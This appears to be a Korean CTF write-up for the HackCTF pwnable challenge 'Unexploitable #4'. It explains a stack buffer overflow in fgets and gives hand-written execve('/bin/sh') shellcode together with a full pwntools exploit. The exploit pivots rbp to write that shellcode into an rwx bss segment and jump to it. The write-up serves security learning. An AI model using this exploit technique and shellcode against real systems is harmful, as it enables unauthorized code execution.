tmxklab

[HackCTF/Pwnable] Unexploitable #4 본문

War Game/HackCTF

[HackCTF/Pwnable] Unexploitable #4

tmxk4221 2020. 8. 15. 20:09

1. 문제

nc ctf.j0n9hyun.xyz 3039

 

1) mitigation 확인

  • stripped된 파일
  • 걸려있는 mitigation이 없고 rwx가 가능한 세그먼트가 존재

 

2) 문제 확인

  • 입력 값을 받고 종료

 

3) 코드 흐름 확인

3-1) main()

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-10h]

  Init();
  fgets(&s, 44, stdin);
  return 0LL;
}
  • fgets로 s[rbp-0x10]에 44bytes까지 입력 받을 수 있음 → bof

 


2. 접근방법

 

일단, 걸려있는 mitigation도 존재하지 않고 bof가 발생하니 쉘 코드를 넣어서 실행시키는 방법으로 생각해 보았다.

 

1) 쉘 코드 삽입 장소

아까 rwx가 가능한 세그먼트가 존재하므로 vmmap을 통해 확인해보자

  • 0x601000 ~ 0x602000까지 rwx 가능

 

  • 참고로 bss영역에 stdout, stdin, stderr등등 존재하므로 아무런 값도 존재하지 않는 0x601100을 선택하여 쉘 코드를 넣어보자

  • fgets함수의 인자로 s[rbp-0x10]변수가 들어가는데 bof를 일으켜 rbp값을 0x601110을 주면 0x601100에 값을 작성할 수 있다.

 

그럼 bof를 발생하여 rbp값을 0x601110을 주고 ret에 다시 메인 함수로 돌아오게 만든 다음에 쉘 코드를 넣으면 될 듯하다.

 

 

2) 쉘 코드 작성

 

예전에 linux에서 쉘 코드 작성하는 것을 한 번 경험해보아서 쉘 코드를 직접 만들어서 작성하기로 하였다. (shellcraft로 하려고 했는데 총 48bytes길이여서 조금 줄이고자 직접 작성하기로 시작함)

 

[ execve.asm ]

global _start

section .text

_start:
        jmp short shellcode

shellcode:
	xor rax, rax
	xor rdx, rdx
	xor rsi, rsi
        mov al, 59
        mov rbx, 0x68732f6e69622f
        push rbx
        mov rdi, rsp
        syscall 

-> 컴파일 하는 방법 

$nasm -f elf64 execve.asm   // 오브젝트 파일 생성

$ld execve.o -o execve        // 실행 파일 생성

 

  • rdx, rsi, rax는 execve에 들어가는 인자이므로 xor연산을 해서 없애준다.
  • 기존에는 "/bin/sh"문자열을 "push rbx, push rsp, pop rdi"를 통해서 rdi에 binsh문자열 주소를 저장하였으나 이런 식으로 push와 pop을 많이 하게되면 rsp와 rip가 충돌이 나서 쉘 코드가 깨지므로 push사용을 한 번만 하도록 쉘 코드를 작성하였다.
  • 위 쉘 코드 길이는 27bytes이므로 한 번에 저장하기에 it's ssab ganeung

 

근데 한 번에 넣으면 it's problem발생..

  • 0x601100에 잘 들어갔으나 이전에 fgets에서 0x601100에 넣기 위해서 rbp값을 수정하였으므로 현재 ret값에 0x601100이 들어가질 않음

 

따라서, 2번 나눠서 쉘 코드를 넣고 ret에 쉘 코드가 시작하는 부분이 잘 들어가도록 세팅해주자

 

공격 프로세스)

  • 첫 번쨰 fgets에서 rbp값을 쉘 코드가 존재하는 주소로 세팅하고 ret에는 다시 main함수
  • 두 번째 fgets에서 쉘 코드의 일부를 넣고 rbp에는 나머지 쉘 코드가 들어갈 주소로 세팅하고 ret에 main함수
  • 세 번째 fgets에서 나머지 쉘 코드를 넣고 ret에 쉘 코드가 존재하는 주소로 세팅

 

 


3. 풀이

 

1) 익스코드

from pwn import *

context(log_level="DEBUG", arch="amd64", os="linux")

#p = process("./unex4")
p = remote("ctf.j0n9hyun.xyz",3039)
#gdb.attach(p, """b*0x4006f3""")

bss = 0x601100

shellcode = asm("xor rax, rax")
shellcode += asm("xor rdx, rdx")
shellcode += asm("xor rsi, rsi")
shellcode += asm("mov al, 59")
shellcode += asm("movabs rbx, 0x68732f6e69622f")
shellcode += asm("push rbx")
shellcode += asm("mov rdi, rsp")
shellcode += asm("syscall")

log.info("shell code len : "+str(len(shellcode)))

# 1. rbp setting
payload = "A"*0x10
payload += p64(bss+0x10)
payload += p64(0x4006db)

pause()
p.sendline(payload)

# 2. input first shellcode -> 8bytes
payload = "A"*0x10
payload += p64(bss+0x38)
payload += p64(0x4006db)
payload += shellcode[:8]

pause()
p.sendline(payload)

# 3. input second shellcode -> (len - 8bytes)
payload = shellcode[8:]
payload += (24-len(payload))*"\x90"
payload += p64(bss+0x20)

pause()
p.sendline(payload)

p.interactive()

 

2) 실행 결과

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] 훈폰정음  (0) 2020.08.27
[HackCTF/Pwnable] AdultFSB  (0) 2020.08.20
[HackCTF/Pwnable] ChildFSB  (2) 2020.08.15
[HackCTF/Pwnable] wishilist  (0) 2020.08.15
[HackCTF/Pwnable] Unexploitable #3  (0) 2020.08.15
Comments